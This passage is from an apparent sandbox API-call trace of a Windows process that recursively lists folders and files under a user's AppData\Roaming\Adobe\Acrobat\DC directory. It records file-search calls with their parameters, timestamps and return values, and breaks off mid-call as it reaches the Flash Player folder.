ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0183.252] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0183.252] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0183.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.253] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2d [0183.253] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0183.253] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.253] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0183.253] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.253] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0183.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0183.253] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x30 [0183.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0183.254] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x30 [0183.254] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0183.254] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.254] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Collab", cAlternateFileName="")) returned 1 [0183.254] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Forms", cAlternateFileName="")) returned 1 [0183.254] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd82b1d84, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSCache", cAlternateFileName="")) returned 1 [0183.254] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0183.255] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0183.255] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0183.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0183.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0183.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0183.255] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x30 [0183.255] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0183.256] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.256] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Collab", cAlternateFileName="")) returned 1 [0183.256] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Forms", cAlternateFileName="")) returned 1 [0183.256] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd82b1d84, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSCache", cAlternateFileName="")) returned 1 [0183.256] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0183.256] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.257] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0183.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0183.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0183.257] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", lpFilePart=0x0) returned 0x37 [0183.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0183.257] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", lpFilePart=0x0) returned 0x37 [0183.257] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0183.258] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.258] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0183.258] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0183.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0183.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0183.258] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", lpFilePart=0x0) returned 0x36 [0183.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0183.258] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", lpFilePart=0x0) returned 0x36 [0183.258] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f890 [0183.259] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.259] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0183.259] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0183.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0183.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0183.259] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", lpFilePart=0x0) returned 0x38 [0183.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0183.259] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", lpFilePart=0x0) returned 0x38 [0183.259] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0183.260] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.261] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636b588b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x636b588b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x636b588b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x16, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobData", cAlternateFileName="")) returned 1 [0183.261] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89495bf, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe89495bf, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="GlobSettings", cAlternateFileName="GLOBSE~1")) returned 1 [0183.261] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0183.261] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0183.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0183.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0183.261] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", lpFilePart=0x0) returned 0x39 [0183.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0183.261] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", lpFilePart=0x0) returned 0x39 [0183.261] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0183.262] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.262] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c7194c4, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c78bbf1, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x1ebe, dwReserved0=0x0, dwReserved1=0x0, cFileName="addressbook.acrodata", cAlternateFileName="ADDRES~1.ACR")) returned 1 [0183.262] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 1 [0183.262] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5bfcc0fc, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bfcc0fc, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 0 [0183.262] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0183.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0183.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0183.263] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player", nBufferLength=0x105, 